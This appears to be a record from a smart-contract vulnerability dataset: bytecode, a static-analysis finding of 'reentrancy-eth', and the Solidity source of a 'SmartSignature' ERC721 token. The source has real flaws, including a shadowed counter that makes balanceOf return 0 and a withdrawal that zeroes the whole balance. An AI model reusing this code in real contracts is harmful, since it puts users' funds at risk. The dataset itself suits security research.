0f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600a54821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201d33f9010622590f47c5ec01a9a811925a946ee79bc34c2d1ebbe37d4cbc796464736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 9,369 |
0xcf77b582bbb9afda0abe1d7cedefbaa312c5c45f
|
/// Smart Signature Beta v0.1
pragma solidity ^0.4.20;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
function name() public view returns (string name);
function symbol() public view returns (string symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
// function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract SmartSignature is ERC721{
using SafeMath for uint256;
event Bought (uint256 indexed _tokenId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _tokenId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
uint256 counter;
mapping (uint256 => address) private ownerOftoken;
mapping (uint256 => uint256) private priceOftoken;
mapping (uint256 => address) private approvedOftoken;
mapping (uint256 => address) private creatorOftoken;
mapping (uint256 => uint256) private parentOftoken;
mapping (uint256 => uint256) private balanceOfToken;
mapping (uint256 => uint256) private freeOftoken;
function SmartSignature () public {
owner = msg.sender;
creatorOftoken[counter] = ownerOftoken[counter] = msg.sender;
priceOftoken[counter] = 1 ether;
parentOftoken[counter] = 0;
freeOftoken[counter] = now + 120;
counter += 1;
}
/* Modifiers */
modifier onlyOwner(uint256 _tokenId) {
require(ownerOftoken[_tokenId] == msg.sender);
_;
}
modifier onlyCreator(uint256 _tokenId) {
require(creatorOftoken[_tokenId] == msg.sender);
_;
}
/* Owner */
function setCreator (address _creator, uint _tokenId) onlyCreator(_tokenId) public {
creatorOftoken[_tokenId] = _creator;
}
/* Withdraw */
function withdrawAllFromToken (uint256 _tokenId) onlyCreator(_tokenId) public {
uint256 t = balanceOfToken[_tokenId];
uint256 r = t / 20;
balanceOfToken[_tokenId] = 0;
balanceOfToken[parentOftoken[_tokenId]] += r;
msg.sender.transfer(t - r);
}
function withdrawAmountFromToken (uint256 _tokenId, uint256 t) onlyCreator(_tokenId) public {
if (t > balanceOfToken[_tokenId]) t = balanceOfToken[_tokenId];
uint256 r = t / 20;
balanceOfToken[_tokenId] = 0;
balanceOfToken[parentOftoken[_tokenId]] += r;
msg.sender.transfer(t - r);
}
function withdrawAll() public {
require(msg.sender == owner);
owner.transfer(this.balance);
}
/* Buying */
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
return _price.mul(117).div(98);
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
return _price.div(20); // 5%
}
function buy (uint256 _tokenId) payable public {
require(priceOf(_tokenId) > 0);
require(ownerOf(_tokenId) != address(0));
require(msg.value >= priceOf(_tokenId));
require(ownerOf(_tokenId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_tokenId);
address newOwner = msg.sender;
uint256 price = priceOf(_tokenId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _tokenId);
priceOftoken[_tokenId] = nextPriceOf(_tokenId);
Bought(_tokenId, newOwner, price);
Sold(_tokenId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
uint256 shareHolderCut = devCut.div(20);
ownerOftoken[parentOftoken[_tokenId]].transfer(shareHolderCut);
balanceOfToken[_tokenId] += devCut.sub(shareHolderCut);
if (excess > 0) {
newOwner.transfer(excess);
}
}
/* ERC721 */
function name() public view returns (string name) {
return "smartsignature.io";
}
function symbol() public view returns (string symbol) {
return "SSI";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return counter;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < counter; i++) {
if (ownerOf(i) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _tokenId) public view returns (address _owner) {
return ownerOftoken[_tokenId];
}
function creatorOf (uint256 _tokenId) public view returns (address _creator) {
return creatorOftoken[_tokenId];
}
function parentOf (uint256 _tokenId) public view returns (uint256 _parent) {
return parentOftoken[_tokenId];
}
function freeOf (uint256 _tokenId) public view returns (uint256 _free) {
return freeOftoken[_tokenId];
}
function balanceFromToken (uint256 _tokenId) public view returns (uint256 _balance) {
return balanceOfToken[_tokenId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory tokens = new uint256[](balanceOf(_owner));
uint256 tokenCounter = 0;
for (uint256 i = 0; i < counter; i++) {
if (ownerOf(i) == _owner) {
tokens[tokenCounter] = i;
tokenCounter += 1;
}
}
return tokens;
}
function tokenExists (uint256 _tokenId) public view returns (bool _exists) {
return priceOf(_tokenId) > 0;
}
function approvedFor(uint256 _tokenId) public view returns (address _approved) {
return approvedOftoken[_tokenId];
}
function approve(address _to, uint256 _tokenId) public {
require(msg.sender != _to);
require(tokenExists(_tokenId));
require(ownerOf(_tokenId) == msg.sender);
if (_to == 0) {
if (approvedOftoken[_tokenId] != 0) {
delete approvedOftoken[_tokenId];
Approval(msg.sender, 0, _tokenId);
}
} else {
approvedOftoken[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
}
/* Transferring a country to another owner will entitle the new owner the profits from `buy` */
function transfer(address _to, uint256 _tokenId) public {
require(msg.sender == ownerOf(_tokenId));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(approvedFor(_tokenId) == msg.sender);
_transfer(_from, _to, _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(tokenExists(_tokenId));
require(ownerOf(_tokenId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOftoken[_tokenId] = _to;
approvedOftoken[_tokenId] = 0;
Transfer(_from, _to, _tokenId);
}
/* Read */
function priceOf (uint256 _tokenId) public view returns (uint256 _price) {
return priceOftoken[_tokenId];
}
function nextPriceOf (uint256 _tokenId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_tokenId));
}
function allOf (uint256 _tokenId) external view returns (address _owner, address _creator, uint256 _price, uint256 _nextPrice) {
return (ownerOftoken[_tokenId], creatorOftoken[_tokenId], priceOftoken[_tokenId], nextPriceOf(_tokenId));
}
/* Util */
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
function changePrice(uint256 _tokenId, uint256 _price) onlyOwner(_tokenId) public {
require(now >= freeOftoken[_tokenId]);
priceOftoken[_tokenId] = _price;
}
function issueToken(uint256 _price, uint256 _frozen, uint256 _parent) public {
require(_parent <= counter);
creatorOftoken[counter] = ownerOftoken[counter] = msg.sender;
priceOftoken[counter] = _price;
parentOftoken[counter] = _parent;
freeOftoken[counter] = now + _frozen;
counter += 1;
}
}
|
0x60606040526004361061015e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062923f9e1461016357806306fdde031461019e578063095ea7b31461022c57806318160ddd1461026e57806323b872dd146102975780632a6dd48f146102f85780632e4f43bf1461035b57806347471183146103ff578063589a1743146104365780635a3f2672146104995780635ba9e48e146105275780635f30ed2a1461055e5780636352211e1461058a57806365121205146105ed57806370a0823114610624578063853828b61461067157806390431b6e1461068657806395d89b41146106a9578063a9059cbb14610737578063b3de019c14610779578063b9186d7d146107a5578063c3787865146107dc578063c8cb8a7514610813578063cfa3c13214610855578063d1ca02181461088c578063d96a094a146108c1578063e08503ec146108d9575b600080fd5b341561016e57600080fd5b6101846004808035906020019091905050610910565b604051808215151515815260200191505060405180910390f35b34156101a957600080fd5b6101b1610924565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f15780820151818401526020810190506101d6565b50505050905090810190601f16801561021e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023757600080fd5b61026c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610967565b005b341561027957600080fd5b610281610bb2565b6040518082815260200191505060405180910390f35b34156102a257600080fd5b6102f6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610bbc565b005b341561030357600080fd5b6103196004808035906020019091905050610c0e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561036657600080fd5b61037c6004808035906020019091905050610c4b565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390f35b341561040a57600080fd5b6104206004808035906020019091905050610ce5565b6040518082815260200191505060405180910390f35b341561044157600080fd5b6104576004808035906020019091905050610d02565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104a457600080fd5b6104d0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d3f565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105135780820151818401526020810190506104f8565b505050509050019250505060405180910390f35b341561053257600080fd5b6105486004808035906020019091905050610e06565b6040518082815260200191505060405180910390f35b341561056957600080fd5b6105886004808035906020019091908035906020019091905050610e20565b005b341561059557600080fd5b6105ab6004808035906020019091905050610f66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105f857600080fd5b61060e6004808035906020019091905050610fa3565b6040518082815260200191505060405180910390f35b341561062f57600080fd5b61065b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fc0565b6040518082815260200191505060405180910390f35b341561067c57600080fd5b610684611031565b005b341561069157600080fd5b6106a76004808035906020019091905050611106565b005b34156106b457600080fd5b6106bc611231565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106fc5780820151818401526020810190506106e1565b50505050905090810190601f1680156107295780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561074257600080fd5b610777600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611274565b005b341561078457600080fd5b6107a360048080359060200190919080359060200190919050506112c5565b005b34156107b057600080fd5b6107c66004808035906020019091905050611372565b6040518082815260200191505060405180910390f35b34156107e757600080fd5b6107fd600480803590602001909190505061138f565b6040518082815260200191505060405180910390f35b341561081e57600080fd5b610853600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113ac565b005b341561086057600080fd5b6108766004808035906020019091905050611471565b6040518082815260200191505060405180910390f35b341561089757600080fd5b6108bf600480803590602001909190803590602001909190803590602001909190505061148e565b005b6108d760048080359060200190919050506115aa565b005b34156108e457600080fd5b6108fa600480803590602001909190505061192f565b6040518082815260200191505060405180910390f35b60008061091c83611372565b119050919050565b61092c611bbd565b6040805190810160405280601181526020017f736d6172747369676e61747572652e696f000000000000000000000000000000815250905090565b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515156109a257600080fd5b6109ab81610910565b15156109b657600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166109d682610f66565b73ffffffffffffffffffffffffffffffffffffffff161415156109f857600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415610af65760006004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610af1576004600082815260200190815260200160002060006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905560003373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b610bae565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b6000600154905090565b3373ffffffffffffffffffffffffffffffffffffffff16610bdc82610c0e565b73ffffffffffffffffffffffffffffffffffffffff16141515610bfe57600080fd5b610c0983838361195f565b505050565b60006004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000806000806002600086815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166003600088815260200190815260200160002054610cd688610e06565b93509350935093509193509193565b600060086000838152602001908152602001600020549050919050565b60006005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b610d47611bd1565b610d4f611bd1565b600080610d5b85610fc0565b604051805910610d685750595b9080825280602002602001820160405250925060009150600090505b600154811015610dfb578473ffffffffffffffffffffffffffffffffffffffff16610dae82610f66565b73ffffffffffffffffffffffffffffffffffffffff161415610dee57808383815181101515610dd957fe5b90602001906020020181815250506001820191505b8080600101915050610d84565b829350505050919050565b6000610e19610e1483611372565b61192f565b9050919050565b6000823373ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e9057600080fd5b6007600085815260200190815260200160002054831115610ec257600760008581526020019081526020016000205492505b601483811515610ece57fe5b04915060006007600086815260200190815260200160002081905550816007600060066000888152602001908152602001600020548152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc8385039081150290604051600060405180830381858888f193505050501515610f6057600080fd5b50505050565b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610fb9601483611b3b90919063ffffffff16565b9050919050565b6000806000809150600090505b81811015611027578373ffffffffffffffffffffffffffffffffffffffff16610ff582610f66565b73ffffffffffffffffffffffffffffffffffffffff16141561101a5781806001019250505b8080600101915050610fcd565b8192505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561110457600080fd5b565b600080823373ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561117757600080fd5b6007600085815260200190815260200160002054925060148381151561119957fe5b04915060006007600086815260200190815260200160002081905550816007600060066000888152602001908152602001600020548152602001908152602001600020600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc8385039081150290604051600060405180830381858888f19350505050151561122b57600080fd5b50505050565b611239611bbd565b6040805190810160405280600381526020017f5353490000000000000000000000000000000000000000000000000000000000815250905090565b61127d81610f66565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112b657600080fd5b6112c133838361195f565b5050565b813373ffffffffffffffffffffffffffffffffffffffff166002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561133357600080fd5b6008600084815260200190815260200160002054421015151561135557600080fd5b816003600085815260200190815260200160002081905550505050565b600060036000838152602001908152602001600020549050919050565b600060076000838152602001908152602001600020549050919050565b803373ffffffffffffffffffffffffffffffffffffffff166005600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffff